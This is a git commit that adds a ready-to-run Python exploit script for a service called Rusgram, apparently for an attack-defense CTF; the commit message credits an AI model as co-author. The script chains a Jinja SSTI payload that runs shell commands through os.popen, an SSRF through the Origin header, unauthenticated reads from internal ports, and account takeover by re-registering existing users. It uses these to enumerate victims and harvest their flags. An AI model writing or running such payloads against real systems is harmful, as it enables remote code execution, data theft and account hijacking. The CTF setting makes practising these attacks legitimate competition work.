sploits: сплойт на rusgram (5 векторов)
Комбинированный сплойт: V1 SSTI->RCE через имя юзера *.html, V3 SSRF через Origin, V4 прямой database :38002, V5 прямой content :38004, V2 захват аккаунта перерегистрацией. Векторы независимы — патч одного не глушит остальные. Энумерация жертв: комментарии к картинкам + `ls` через RCE. V1 использует свежее имя юзера на каждый раунд: Flask вне debug не перечитывает шаблоны, и после первого рендера Jinja отдаёт закэшированную версию. Проверено на стенде: собирает все посаженные флаги. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01NN8sHQuGbTBLGGkJyfxzXr
This commit is contained in:
Executable
+227
@@ -0,0 +1,227 @@
|
||||
#!/bin/python3
|
||||
"""
|
||||
Rusgram — комбинированный сплойт (все 4 вектора).
|
||||
|
||||
Порядок: V1 (RCE) → V3 (SSRF) → V4 (прямой database) → V5 (прямой content) → V2 (ATO).
|
||||
Векторы независимы: если противник запатчил один, остальные продолжают работать.
|
||||
|
||||
Запуск: ./start_sploit.py rusgram_sploit.py
|
||||
"""
|
||||
import sys
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
import requests
|
||||
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
TIMEOUT = 6
|
||||
|
||||
PROXY_PORT = 38000
|
||||
STATIC_PORT = 38001
|
||||
DB_PORT = 38002
|
||||
LOGIC_PORT = 38003
|
||||
CONTENT_PORT = 38004
|
||||
|
||||
|
||||
def rnd(n=8):
|
||||
return "".join(random.choices(string.ascii_lowercase, k=n))
|
||||
|
||||
|
||||
def log(msg):
|
||||
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# V1: SSTI -> RCE. Имя юзера, оканчивающееся на .html, рендерится content'ом
|
||||
# как Jinja-шаблон. Payload кладём ДО первого рендера (Jinja кэширует шаблоны).
|
||||
# --------------------------------------------------------------------------
|
||||
def v1_rce(ip, flags):
|
||||
base = f"http://{ip}:{PROXY_PORT}"
|
||||
user, pwd = f"{rnd()}.html", rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
|
||||
timeout=TIMEOUT)
|
||||
# grep -r сам обходит каталог: имена жертв знать не нужно
|
||||
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE \"[A-Z0-9]{31}=\" "
|
||||
"/app/files/db/').read() }}")
|
||||
requests.post(f"{base}/api/update_personal",
|
||||
json={"first_name": payload, "second_name": "x", "email": "x"},
|
||||
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
||||
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
||||
found = set(FLAG_RX.findall(r.text))
|
||||
flags |= found
|
||||
log(f"V1 (RCE) : {len(found)} flags")
|
||||
except requests.RequestException as e:
|
||||
log(f"V1 failed: {e}")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# V3: SSRF. logic редиректит на Origin+'/login.html', proxy идёт по редиректу
|
||||
# серверсайд. Работает даже если 38001-38004 закрыты фаерволом.
|
||||
# --------------------------------------------------------------------------
|
||||
def v3_ssrf_read(ip, url_no_scheme, actor):
|
||||
"""Читает внутренний URL глазами proxy. Хвост /login.html уводим в query.
|
||||
|
||||
В куке ДОЛЖЕН быть реально существующий юзер с неверным паролем: на
|
||||
несуществующем logic падает в 500 (`.json()["data"]` по 404) и до
|
||||
редиректа дело не доходит. Поэтому используем свой же аккаунт.
|
||||
"""
|
||||
base = f"http://{ip}:{PROXY_PORT}"
|
||||
try:
|
||||
r = requests.post(f"{base}/api/send_msg", json={"msg": "x"},
|
||||
cookies={"session": f"{actor}||WRONGPASS"},
|
||||
headers={"Origin": f"{url_no_scheme}?x="}, timeout=TIMEOUT)
|
||||
return r.text
|
||||
except requests.RequestException:
|
||||
return ""
|
||||
|
||||
|
||||
def v3_ssrf(ip, flags, users):
|
||||
base = f"http://{ip}:{PROXY_PORT}"
|
||||
# свой аккаунт как «актор»: гарантированно существует -> logic отдаст 302
|
||||
actor, pwd = rnd(10), rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register", json={"login": actor, "password": pwd},
|
||||
timeout=TIMEOUT)
|
||||
except requests.RequestException:
|
||||
log("V3 (SSRF) : setup failed")
|
||||
return
|
||||
|
||||
found = set()
|
||||
for u in list(users)[:60]:
|
||||
for field in ("msg", "first_name", "second_name", "email"):
|
||||
body = v3_ssrf_read(ip, f"http://database:5002/users/{u}/{field}", actor)
|
||||
found |= set(FLAG_RX.findall(body))
|
||||
flags |= found
|
||||
log(f"V3 (SSRF) : {len(found)} flags")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# V4: database опубликован на 38002 вообще без аутентификации.
|
||||
# --------------------------------------------------------------------------
|
||||
def v4_database(ip, flags, users):
|
||||
d = f"http://{ip}:{DB_PORT}"
|
||||
found = set()
|
||||
for u in list(users)[:100]:
|
||||
for field in ("msg", "first_name", "second_name", "email"):
|
||||
try:
|
||||
r = requests.get(f"{d}/users/{u}/{field}", timeout=TIMEOUT)
|
||||
found |= set(FLAG_RX.findall(r.text))
|
||||
except requests.RequestException:
|
||||
pass
|
||||
flags |= found
|
||||
log(f"V4 (database) : {len(found)} flags")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# V5: content опубликован на 38004, рендерит файл юзера без требования .html.
|
||||
# --------------------------------------------------------------------------
|
||||
def v5_content(ip, flags, users):
|
||||
c = f"http://{ip}:{CONTENT_PORT}"
|
||||
found = set()
|
||||
for u in list(users)[:100]:
|
||||
try:
|
||||
r = requests.get(f"{c}/db/users/{u}", timeout=TIMEOUT)
|
||||
found |= set(FLAG_RX.findall(r.text))
|
||||
except requests.RequestException:
|
||||
pass
|
||||
flags |= found
|
||||
log(f"V5 (content) : {len(found)} flags")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# V2: register перезаписывает пароль существующему юзеру, сохраняя его поля.
|
||||
# Самый «грязный» вектор (ломает жертве логин) — поэтому идёт последним.
|
||||
# --------------------------------------------------------------------------
|
||||
def v2_ato(ip, flags, users):
|
||||
base = f"http://{ip}:{PROXY_PORT}"
|
||||
found = set()
|
||||
for u in list(users)[:40]:
|
||||
pwd = rnd(10)
|
||||
try:
|
||||
r = requests.post(f"{base}/api/register", json={"login": u, "password": pwd},
|
||||
timeout=TIMEOUT)
|
||||
if r.status_code != 200:
|
||||
continue
|
||||
r = requests.get(f"{base}/", cookies={"session": f"{u}||{pwd}"}, timeout=TIMEOUT)
|
||||
found |= set(FLAG_RX.findall(r.text))
|
||||
except requests.RequestException:
|
||||
pass
|
||||
flags |= found
|
||||
log(f"V2 (ATO) : {len(found)} flags")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Энумерация имён пользователей — несколько независимых каналов.
|
||||
# --------------------------------------------------------------------------
|
||||
def enum_users(ip):
|
||||
"""Имена жертв: из комментариев к картинкам и из ls через RCE."""
|
||||
users = set()
|
||||
|
||||
# канал 1: database напрямую (38002)
|
||||
for i in range(1, 17):
|
||||
try:
|
||||
r = requests.get(f"http://{ip}:{DB_PORT}/images/{i}", timeout=TIMEOUT)
|
||||
for c in r.json()["data"]["comments"]:
|
||||
users.add(c[0])
|
||||
except Exception:
|
||||
break
|
||||
|
||||
# канал 2: RCE ls (работает, даже если внутренние порты закрыты)
|
||||
base = f"http://{ip}:{PROXY_PORT}"
|
||||
user, pwd = f"{rnd()}.html", rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register", json={"login": user, "password": pwd},
|
||||
timeout=TIMEOUT)
|
||||
# маркеры @@ — чтобы не собрать в список имён JSON-обвязку файла
|
||||
payload = ("{{ lipsum.__globals__.os.popen("
|
||||
"'ls /app/files/db/users | sed \"s/^/@@/\"').read() }}")
|
||||
requests.post(f"{base}/api/update_personal",
|
||||
json={"first_name": payload, "second_name": "x", "email": "x"},
|
||||
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
||||
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
||||
users |= set(re.findall(r"@@([\w.\-]+)", r.text))
|
||||
except requests.RequestException:
|
||||
pass
|
||||
|
||||
users.discard(".gitkeep")
|
||||
# свои же .html-аккаунты в список жертв не берём
|
||||
users = {u for u in users if u and not u.endswith(".html")}
|
||||
log(f"enumerated {len(users)} users")
|
||||
return users
|
||||
|
||||
|
||||
def exploit(target_ip):
|
||||
flags = set()
|
||||
|
||||
# V1 не требует знания имён — бьём сразу
|
||||
v1_rce(target_ip, flags)
|
||||
|
||||
users = enum_users(target_ip)
|
||||
if users:
|
||||
v4_database(target_ip, flags, users)
|
||||
v5_content(target_ip, flags, users)
|
||||
v3_ssrf(target_ip, flags, users)
|
||||
v2_ato(target_ip, flags, users)
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip>", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
try:
|
||||
found_flags = exploit(target_ip) or []
|
||||
for flag in found_flags:
|
||||
clean_flag = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean_flag):
|
||||
print(clean_flag, flush=True)
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user